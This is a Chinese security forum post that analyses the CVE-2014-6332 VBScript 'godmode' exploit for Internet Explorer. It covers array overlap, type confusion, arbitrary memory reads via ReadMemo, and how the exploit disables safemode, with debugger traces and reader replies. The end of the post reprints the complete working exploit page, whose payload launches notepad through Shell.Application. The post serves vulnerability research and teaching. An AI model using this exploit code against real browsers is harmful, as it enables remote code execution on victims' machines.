首页
社区
课程
招聘
[原创]CVE-2014-6332的dve利用分析
发表于: 2014-11-24 02:33 6791

[原创]CVE-2014-6332的dve利用分析

2014-11-24 02:33
6791

(几天前写好,一直懒得画图,睡不着补上图发出来,水平有限,望多加指正。)

Part 1:
首先通过调试明确几个问题,先是两个关键的数据结构:
VARIANT结构:
VAR struct  
struct tagVARIANT 
{
    union 
  {
        struct __tagVARIANT 
    {
            VARTYPE vt;
            WORD    wReserved1;
            WORD    wReserved2;
            WORD    wReserved3;
      
            union 
      {
                ULONGLONG     ullVal;        ---VT_UI8      
                LONGLONG      llVal;         ---VT_I8               
                LONG          lVal;          ---VT_I4                */
                BYTE          bVal;          ---VT_UI1               */
                SHORT         iVal;          ---VT_I2                */
                FLOAT         fltVal;        ---VT_R4                */
                DOUBLE        dblVal;        ---VT_R8                */
                VARIANT_BOOL  boolVal;       ---VT_BOOL              */
                _VARIANT_BOOL bool;          ---(obsolete)           */
                SCODE         scode;         ---VT_ERROR             */
                CY            cyVal;         ---VT_CY                */
                DATE          date;          ---VT_DATE              */
                BSTR          bstrVal;       ---VT_BSTR              */
                IUnknown *    punkVal;       ---VT_UNKNOWN           */
                IDispatch *   pdispVal;      ---VT_DISPATCH          */
                SAFEARRAY *   parray;        ---VT_ARRAY             */
                BYTE *        pbVal;         ---VT_BYREF|VT_UI1      */
                SHORT *       piVal;         ---VT_BYREF|VT_I2       */
                LONG *        plVal;         ---VT_BYREF|VT_I4       */
                LONGLONG *    pllVal;        ---VT_BYREF|VT_I8       */
                FLOAT *       pfltVal;       ---VT_BYREF|VT_R4       */
                DOUBLE *      pdblVal;       ---VT_BYREF|VT_R8       */
                VARIANT_BOOL *pboolVal;      ---VT_BYREF|VT_BOOL     */
                _VARIANT_BOOL *pbool;        ---(obsolete)           */
                SCODE *       pscode;        ---VT_BYREF|VT_ERROR    */
                CY *          pcyVal;        ---VT_BYREF|VT_CY       */
                DATE *        pdate;         ---VT_BYREF|VT_DATE     */
                BSTR *        pbstrVal;      ---VT_BYREF|VT_BSTR     */
                IUnknown **   ppunkVal;      ---VT_BYREF|VT_UNKNOWN  */
                IDispatch **  ppdispVal;     ---VT_BYREF|VT_DISPATCH */
                SAFEARRAY **  pparray;       ---VT_BYREF|VT_ARRAY    */
                VARIANT *     pvarVal;       ---VT_BYREF|VT_VARIANT  */
                PVOID         byref;         ---Generic ByRef        */
                CHAR          cVal;          ---VT_I1                */
                USHORT        uiVal;         ---VT_UI2               */
                ULONG         ulVal;         ---VT_UI4               */
                INT           intVal;        ---VT_INT               */
                UINT          uintVal;       ---VT_UINT              */
                DECIMAL *     pdecVal;       ---VT_BYREF|VT_DECIMAL  */
                CHAR *        pcVal;         ---VT_BYREF|VT_I1       */
                USHORT *      puiVal;        ---VT_BYREF|VT_UI2      */
                ULONG *       pulVal;        ---VT_BYREF|VT_UI4      */
                ULONGLONG *   pullVal;       --- VT_BYREF|VT_UI8      */
                INT *         pintVal;       ---VT_BYREF|VT_INT      */
                UINT *        puintVal;      ---VT_BYREF|VT_UINT  
        
                struct __tagBRECORD 
        {
                    PVOID         pvRecord;
                    IRecordInfo * pRecInfo;
                } __VARIANT_NAME_4;          --- VT_RECORD      
        
            } __VARIANT_NAME_3;
        } __VARIANT_NAME_2;

        DECIMAL decVal;
    } __VARIANT_NAME_1;
};
Vbs中赋值操作都是将要赋值的内容包装成0x10大小的VARIANT进行赋值。其中vt表示所包装的数据类型,其值包括以下情况:
  VT_EMPTY = 0,
  VT_NULL = 1,
  VT_I2 = 2,
  VT_I4 = 3,
  VT_R4 = 4,
  VT_R8 = 5,
  VT_CY = 6,
  VT_DATE = 7,
  VT_BSTR = 8,
  VT_DISPATCH = 9,
  VT_ERROR = 10,
  VT_BOOL = 11,
  VT_VARIANT = 12, 
  VT_UNKNOWN = 13,
  VT_UI1 = 17,
VT_RESERVED = 0x8000
VT_BYREF = 0x4000
VT_ARRAY = 0x2000
VT_FUNC = 0x4c
接着是SAFEARRAY结构
SafeArray struct
typedef struct tagSAFEARRAY
{
  USHORT cDims; //描述数组的维度
  USHORT fFeatures;
  ULONG cbElements; //数组中每个元素的大小
  ULONG cLocks;
  PVOID pvData; //指向数组元素
  SAFEARRAYBOUND rgsabound[ 1 ]; 
// 1表示当前数组只有1维,该数组中每个元素表示相应的数组维的内容。
} SAFEARRAY;
typedef struct tagSAFEARRAYBOUND
{
  ULONG cElements; //数组当前维的元素个数
  LONG lLbound;//当前维的起始索引
} SAFEARRAYBOUND;

==============以下代码测试环境:xpsp3 + ie8==============
【代码片段:1】

dim a()
redim a(4)
redim a(5)
redim preserve a(6)

对应
bu vbscript!MakeArray+0x69 ".printf \"safearray obj addr : 0x%x\",eax;.echo;g"
bu vbscript!RedimPreserveArray+0x49 ".printf \"redimpreserve safearray obj addr : 0x%x\",ebx;.echo;g"
即redim 对应MakeArray 中调用的SafeArrayCreate
redim preserve 对应 RedimPreserveArray 中调用的SafeArrayRedim

【代码片段:2】
dim   aa()
dim   ab()
function xx()
  on error resume next
  redim aa(5)
    redim ab(5)
    redim  Preserve aa(6)
    redim   ab(6)    
    redim  Preserve aa(&h8000000)
  ab(0)=1.123456789012345678901234567890
  aa(6) = 10
  'aa(6)和ab(0)离得最近的情况:aa(7)的后16字节覆盖ab(0)的前16个字节,ab(0)的后16字节覆盖aa(8)的前8个字节
  Trim("end, stop to check")
end function
(Trim的作用相当于jscript中的Math.atan2())
调试结果:
safearray obj addr : 0x20c1f0
safearray obj addr : 0x20c4f0
redimpreserve safearray obj addr : 0x20c1f0
safearray obj addr : 0x20c4f0
redimpreserve safearray obj addr : 0x20c1f0
end, stop to check
eax=037414c4 ebx=020df5c8 ecx=037998a4 edx=020df540 esi=003bf420 edi=00000001
eip=03753abd esp=020df45c ebp=020df46c iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
vbscript!VbsTrim:
03753abd 8bff            mov     edi,edi
1:027> dd 0x20c1f0 l8
0020c1f0  08800001 00000010 00000000 0021da28
0020c200  00000007 00000000 eaa8a741 ff080100
1:027> dd 0x20c4f0 l8
0020c4f0  08800001 00000010 00000000 0021daa0
0020c500  00000007 00000000 eaa8a7a1 ff0c0100

aa()如果元素足够多,势必会和ab()中的元素发生错位重叠。如下所示:
0021da28
0021da38

0021daa8 (开始和ab()中的元素发生重叠)
0021dab8


0021daa0(开始和aa()中的元素发生重叠)
0021dab0


【代码片段3】

  Trim("before first")
  aa(0) = null
  Trim("after first")

Trim(“after first”)执行时:
aa数组的内存分布:
0020f2e8  00000001 00000000 003becec 00000000    aa(0)
0020f2f8  00000000 00000000 00000000 00000000    aa(1)
0020f308  00000000 00000000 00000000 00000000    aa(2)
0020f318  00000000 00000000 00000000 00000000    aa(3)
0020f328  00000000 00000000 00000000 00000000    aa(4)
0020f338  00000000 00000000 00000000 00000000    aa(5)
1:026> db 003becec 
003becec  62 00 65 00 66 00 6f 00-72 00 65 00 20 00 66 00  b.e.f.o.r.e. .f.
003becfc  69 00 72 00 73 00 74 00-00 00 00 00 ea 34 b7 60  i.r.s.t......4.`

也就是说当前aa(0)的数据指向Trim的参数,但是VT还是null的类型,当前求值栈中内存情况:
003bf7e0  00000008 00000000 003bed10 00000000
003bf7f0  00000000 00000000 00000000 00000000

1:026> db 003bed10 
003bed10  61 00 66 00 74 00 65 00-72 00 20 00 66 00 69 00  a.f.t.e.r. .f.i.
003bed20  72 00 73 00 74 00 00 00-ca 86 b9 83 24 00 00 00  r.s.t.......$...

当前求值栈中放置的是当前Trim的参数。

【代码片段4】

  Trim("before first")
  aa(0) = 1.1910304383327914e-147
  aa(0) = null
  Trim("after first")

Trim(“before first”)执行结束后,vbs虚拟机求值栈中内存情况:
003bf2e8  00000008 00000000 003bf5d4 00000000
003bf2f8  00000000 00000000 00000000 00000000

1:029> db 003bf5d4 
003bf5d4  62 00 65 00 66 00 6f 00-72 00 65 00 20 00 66 00  b.e.f.o.r.e. .f.
003bf5e4  69 00 72 00 73 00 74 00-00 00 00 00 ea 34 b7 60  i.r.s.t......4.`

还保留着Trim的参数。
执行aa(0) = 1.1910304383327914e-147后求值栈内存:
003bf2e8  00000005 00000000 6b636168 216e756a
003bf2f8  00000000 00000000 00000000 00000000
其中6b636168 216e756a就是1.1910304383327914e-147的16进制表示,接着执行aa(0) = null,求值栈内存:
003bf2e8  00000001 00000000 6b636168 216e756a
003bf2f8  00000000 00000000 00000000 00000000

只修改了VARIANT的类型域,和此时aa(0)的内容一致。
aa(0)  01 00 00 00 00 00 00 00-68 61 63 6b 6a 75 6e 21  ........hackjun!
aa(1)  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
aa(2)  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................


【修改为代码片段5】
sub testsub()
  Trim("in testsub")
end sub
function xx()
  on error resume next
  redim aa(5)
  Trim("before first")
  aa(0) = testsub
  aa(0) = null
  Trim("after first")
  Trim("end, stop to check")
end function

执行aa(0) = testsub时求值栈内存情况
003bfdf0  0000004c 7c930202 003bfe78 7c9301bb
003bfe00  00000000 00000000 00000000 00000000

1:024> ln poi(003bfe78)
(03864e48)   vbscript!CScriptEntryPoint::`vftable'   |  (0388c754)   vbscript!CEntryPointDispatch::`vftable'
Exact matches:
vbscript!CScriptEntryPoint::`vftable' = <no type information> 

1:023>  ln poi(poi(poi(003bfe78+8)+0x10))
(03864790)   vbscript!COleScript::`vftable'   |  (038647f8)   vbscript!VBAErr::`vftable'
Exact matches:
vbscript!COleScript::`vftable' = <no type information>
接着aa(0) = null
003bfdf0  00000001 7c930202 003bfe78 7c9301bb
003bfe00  00000000 00000000 00000000 00000000

综上实验结果结论:在vbs虚拟机中在进行xy = null的操作时,只会修改xy的类型域值为1,而数据区内容则和当前求值栈中残留的数据一致。
综上代码片段3-5的分析:可通过过程函数赋值泄露CEntryPointDispatch 进而泄露COleScript对象。

Part 2:
几个关键问题之后综合分析CVE-2014-6332的dve利用代码,略过诸如浏览器版本判断等内容。
...
Begin()
Function Begin()
  BeginInit() '初始化一些变量
  
  If Create() = True then
    …
    setnotsafemode() '关掉SafeMode,然后runmumaa()
    …
End function

Function Create()
  …
  For i = 0 to 400
    If Over() = True then
      Create = True
      Exit for
    End if
  Next
End function

从Over()函数开始分析
function Over()
    On Error Resume Next
    dim type1,type2,type3
    Over = False
    a0=a0+a3
    a1=a0+2
    a2=a0+&h8000000
    redim  Preserve aa(a0)
    redim   ab(a0)    
    redim  Preserve aa(a2)
    '以上代码片段触发漏洞导致aa覆盖ab,原理见代码片段2

    type1=1
    ab(0)=1.123456789012345678901234567890
    '内存顺序 66 6f 74 d3 | df 9f f1 3f
    aa(a0)=10

    If(IsObject(aa(a1-1)) = False) Then
       if(intVersion<4) then
           mem=cint(a0+1)*16
           j=vartype(aa(a1-1))
           if((j = mem+4) or (j*8=mem+8)) then
              if(vartype(aa(a1-1))<>0)  Then   
                 If(IsObject(aa(a1)) = False ) Then            
                   type1=VarType(aa(a1))
                 end if              
              end if
           else
             redim  Preserve aa(a0)
             exit  function
           end if
        else
           if(vartype(aa(a1-1))<>0)  Then   
              If(IsObject(aa(a1)) = False ) Then
                  type1=VarType(aa(a1))
              end if              
            end if
        end if
    end if
  /*******
      以上代码的目的是通过遍历aa()中的元素类型进而定位和ab(0)首次发生诸如代码片段2中描述的重叠错位情况下的aa()的元素索引,即a1。
在上面代码:    
redim  Preserve aa(a0)
    redim   ab(a0)    
两句执行结束后,ab(0)与aa(a0)的“距离”最贴近的时候,内存布局如下图所示:


ab(0)=1.123456789012345678901234567890执行后,
aa(a1)中 Z : 0xd3746f66  W : 0x3ff19fdf,接着vartype获取类型,因为

0x6f66 and 0x0FFFFBFFF = 0x02f66
  *******/
    If(type1=&h2f66) Then        
          Over=True     
    End If 
    If(type1=&hB9AD) Then
          Over=True
          win9x=1
    End If 
    redim  Preserve aa(a0)         
end function

Over = True --> Create = True --> …
myarray= chrw(01)&chrw(2176)&chrw(01)&chrw(00)&chrw(00)&chrw(00)&chrw(00)&chrw(00)
myarray= myarray&chrw(00)&chrw(32767)&chrw(00)&chrw(0)
myarray数据内存顺序 :

如果将上面的内存顺序对应为SafeArray结构布局


 表示某一维字节数组,数组的元素个数是0x7fff0000个,也就是说数组能覆盖的内存范围:
0x00000000~0x00000000+0x7fff0000*1= 0x7fff0000
接下来就是setnotsafemode,先看看mydata()
function mydata()
    On Error Resume Next
     i=testaa
     i=null
     redim  Preserve aa(a2) 
      '以上代码类似代码片段5,i中保存过程testaa的信息,同时其类型域被修改为1

     ab(0)=0
     aa(a1)=i
     ab(0)=6.36598737437801E-314
   '内存顺序 03 00 00 00 | 03 00 00 00,把aa(a1)的类型域值改为3,即VT_I4,表示LONG。

     aa(a1+2) = myarray
     ab(2) = 1.74088534731324E-310 
   '内存顺序 0c 20 00 00 | 0c 20 00 00,改变aa(a1+2)的类型域VT_ARRAY | VT_VARIANT
   /****
  aa(a1+2) = myarray,由于myarray的类型是字符串,此时aa(a1+2)对应内存布局:

      
经过类型修改后:

   
如之前分析的,此时aa(a1+2)便是可以访问内存0x0000000~0x7fff0000的一维字节数组,数组元素0x7fff0000个。
  ***/

     mydata=aa(a1) 
  /****
   此时aa(a1)对应的内存布局示意图:

   由之前的分析可知,此时:
0xp4p3p2p1指向CScriptEntryPoint
ln poi(poi(poi( 0xp4p3p2p1 +8)+0x10)) 应该能定位到COleScript,mydata函数返回0xp4p3p2p1
    ***/
     redim  Preserve aa(a0) 
end function

function setnotsafemode()
    On Error Resume Next
    i=mydata() 
    i=readmemo(i+8)
    i=readmemo(i+16)
    j=readmemo(i+&h134) 
  /***
  通过COleScript偏移0x134读取safemode(不同ie版本safemode相对COleScript的偏移不同)
    ***/
    for k=0 to &h60 step 4
        j=readmemo(i+&h120+k)
        if(j=14) then
            j=0
            redim  Preserve aa(a2)
            aa(a1+2)(i+&h11c+k) = ab(4)
 '关掉 safemode
            redim  Preserve aa(a0)
            j=0
            j=readmemo(i+&h120+k)
            Exit for
        end if
  /***
  正常情况下safemode的值是0xE,从COleScript偏移0x120处遍历定位safemode,因为aa(a1+2)可访问内存0~0x7fff0000,定位safemode在aa(a1+2) (i+&h120+k),要使得该处为0,aa(a1+2)(i + &h120 – 8 + k) = ab(4)。(赋值操作以打包的VARIANT, - 8操作是为了使值正好落在VARIANT结构偏移8的位置,ab(4)之前未赋值的情况下,被初始化为0)
  ***/
    next
  
    ab(2)=1.69759663316747E-313
    '内存顺序:08 00 00 00 | 08 00 00 00,恢复aa(a1+2)的类型域为VT_BSTR
  
    runmumaa()
end function

再看看readmemo
function ReadMemo(add)
    On Error Resume Next
    redim  Preserve aa(a2) 
    ab(0)=0  
    aa(a1)=add+4    
    ab(0)=1.69759663316747E-313      
  '内存顺序:08 00 00 00 | 08 00 00 00,修改aa(a1)的类型为08 VT_BSTR
    ReadMemo=lenb(aa(a1)) 
    /***
  aa(a1)对应的VARIANT的前后变化:

 
被type consufse成BSTR后,add+4指向字符串,又因为BSTR结构如下:
 
add+4指向string data起始地址,len(aa(a1))返回该BSTR中size的内容,也就是读取add的内容。由此ReadMemo完成对任意地址add内容的读取。
  ***/
    ab(0)=0 '恢复
    redim  Preserve aa(a0)
end function

综上,完成将safemode置0后,runmumaa()弹记事本。
总结:
1.  数组错位重叠,type confuse,获取任意内存操控能力。
2.  Vbs虚拟机中对变量进行赋null值,会使得被赋值对象携带上求值栈上残留的数据。利用此特性,可让变量携带上函数过程信息,进而最终泄露COleScript对象,定位safemode。

附上yuange的完整CVE-2014-6332利用代码
<!doctype html>
<html>
<meta http-equiv="X-UA-Compatible" content="IE=EmulateIE8" >
<head>
</head>
<body>
<SCRIPT LANGUAGE="VBScript">
function runmumaa()
  On Error Resume Next
  set shell=createobject("Shell.Application")
  shell.ShellExecute "notepad.exe"
end function
</script>
<SCRIPT LANGUAGE="VBScript">
dim   aa()
dim   ab()
dim   a0
dim   a1
dim   a2
dim   a3
dim   win9x
dim   intVersion
dim   rnda
dim   funclass
dim   myarray

Begin()

function Begin()
  On Error Resume Next
  info=Navigator.UserAgent

  if(instr(info,"Win64")>0)   then
     exit   function
  end if

  if (instr(info,"MSIE")>0)   then 
             intVersion = CInt(Mid(info, InStr(info, "MSIE") + 5, 2))   
  else
     exit   function  
             
  end if

  win9x=0

  BeginInit()
  If Create()=True Then
     myarray=        chrw(01)&chrw(2176)&chrw(01)&chrw(00)&chrw(00)&chrw(00)&chrw(00)&chrw(00)
     myarray=myarray&chrw(00)&chrw(32767)&chrw(00)&chrw(0)

     if(intVersion<4) then
         document.write("<br> IE")
         document.write(intVersion)
         runshellcode()                    
     else  
          setnotsafemode()
     end if
  end if
end function

function BeginInit()
   Randomize()
   redim aa(5)
   redim ab(5)
   a0=13+17*rnd(6)
   a3=7+3*rnd(5)
end function

function Create()
  On Error Resume Next
  dim i
  Create=False
  For i = 0 To 400
    If Over()=True Then
    '   document.write(i)     
       Create=True
       Exit For
    End If 
  Next
end function

sub testaa()
end sub

function mydata()
    On Error Resume Next
     i=testaa
     i=null
     redim  Preserve aa(a2)  
  
     ab(0)=0
     aa(a1)=i
     ab(0)=6.36598737437801E-314

     aa(a1+2)=myarray
     ab(2)=1.74088534731324E-310  
     mydata=aa(a1)
     redim  Preserve aa(a0)  
end function 

function setnotsafemode()
    On Error Resume Next
    i=mydata()  
    i=readmemo(i+8)
    i=readmemo(i+16)
    j=readmemo(i+&h134)  
    for k=0 to &h60 step 4
        j=readmemo(i+&h120+k)
        if(j=14) then
              j=0          
              redim  Preserve aa(a2)             
        aa(a1+2)(i+&h11c+k)=ab(4)
              redim  Preserve aa(a0)  

        j=0 
              j=readmemo(i+&h120+k)   
         
               Exit for
           end if

    next 
    ab(2)=1.69759663316747E-313
    runmumaa() 
end function

function Over()
    On Error Resume Next
    dim type1,type2,type3
    Over=False
    a0=a0+a3
    a1=a0+2
    a2=a0+&h8000000
  
    redim  Preserve aa(a0) 
    redim   ab(a0)     
  
    redim  Preserve aa(a2)
  
    type1=1
    ab(0)=1.123456789012345678901234567890
    aa(a0)=10
          
    If(IsObject(aa(a1-1)) = False) Then
       if(intVersion<4) then
           mem=cint(a0+1)*16             
           j=vartype(aa(a1-1))
           if((j=mem+4) or (j*8=mem+8)) then
              if(vartype(aa(a1-1))<>0)  Then    
                 If(IsObject(aa(a1)) = False ) Then             
                   type1=VarType(aa(a1))
                 end if               
              end if
           else
             redim  Preserve aa(a0)
             exit  function

           end if 
        else
           if(vartype(aa(a1-1))<>0)  Then    
              If(IsObject(aa(a1)) = False ) Then
                  type1=VarType(aa(a1))
              end if               
            end if
        end if
    end if
              
    
    If(type1=&h2f66) Then         
          Over=True      
    End If  
    If(type1=&hB9AD) Then
          Over=True
          win9x=1
    End If  

    redim  Preserve aa(a0)          
        
end function

function ReadMemo(add) 
    On Error Resume Next
    redim  Preserve aa(a2)  
  
    ab(0)=0   
    aa(a1)=add+4     
    ab(0)=1.69759663316747E-313       
    ReadMemo=lenb(aa(a1))  
   
    ab(0)=0    
 
    redim  Preserve aa(a0)
end function
</script>
</body>
</html>


[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

上传的附件:
收藏
免费 3
支持
分享
最新回复 (15)
雪    币: 70
活跃值: (74)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
2
不错的分析
2014-11-24 08:35
0
雪    币: 2664
活跃值: (3401)
能力值: ( LV13,RANK:1760 )
在线值:
发帖
回帖
粉丝
3
不错不错!
2014-11-24 09:03
0
雪    币: 76
活跃值: (206)
能力值: ( LV2,RANK:15 )
在线值:
发帖
回帖
粉丝
4
分析的不错
2014-11-24 09:24
0
雪    币: 1555
活跃值: (3103)
能力值: ( LV11,RANK:180 )
在线值:
发帖
回帖
粉丝
5
虽然看不懂 感觉还是高大上
2014-11-24 09:37
0
雪    币: 4
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
6
嗯,非常好的帖子,学习学习!
2014-11-24 12:29
0
雪    币: 47147
活跃值: (20445)
能力值: (RANK:350 )
在线值:
发帖
回帖
粉丝
7
感谢分享!
2014-11-25 11:54
0
雪    币: 101
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
8
标记学习。。
2014-11-25 19:06
0
雪    币: 236
活跃值: (60)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
9
不明觉厉~~看来要好好努力才行。
2014-11-26 19:52
0
雪    币: 1318
活跃值: (149)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
10
感谢分享! 学习了。
2014-11-28 15:23
0
雪    币: 3171
活跃值: (76)
能力值: (RANK:250 )
在线值:
发帖
回帖
粉丝
11
分析的很详细,谢谢分享
2014-11-28 22:58
0
雪    币: 4
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
12
分析的太到位了,循序渐进,由浅入深!!
2014-12-1 15:40
0
雪    币: 107
活跃值: (36)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
13
很详细,有个小问题,VT_FUNC = 0x4c在哪儿定义的呢?没找到这个定义呀
2014-12-3 20:49
0
雪    币: 11
活跃值: (11)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
14
分析很详细,感谢楼主的辛苦劳动。

但:
这个位置上的 ab(0)=6.36598737437801E-314对应的内存顺序应该是0300 0000 0300 0000,把aa(a1)的类型域值改为3,即VT_I4,代表是四个字节的长度。
-------------------------------------------------------------------------------------------------
function mydata()
    On Error Resume Next
     i=testaa
     i=null
     redim  Preserve aa(a2)
      '以上代码类似代码片段5,i中保存过程testaa的信息,同时其类型域被修改为1

     ab(0)=0
     aa(a1)=i
     ab(0)=6.36598737437801E-314
   '内存顺序 08 00 00 00 | 08 00 00 00,把aa(a1)的类型域值改为8,即VT_BSTR
2014-12-5 11:39
0
雪    币: 116
活跃值: (70)
能力值: ( LV10,RANK:170 )
在线值:
发帖
回帖
粉丝
15
非常感谢指正错误,也请原谅我的粗心,文中以及相应配图已经修改。
2014-12-6 11:05
0
雪    币: 27
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
16
正需要详细的分析呐.
2014-12-12 11:03
0
游客
登录 | 注册 方可回帖
返回
//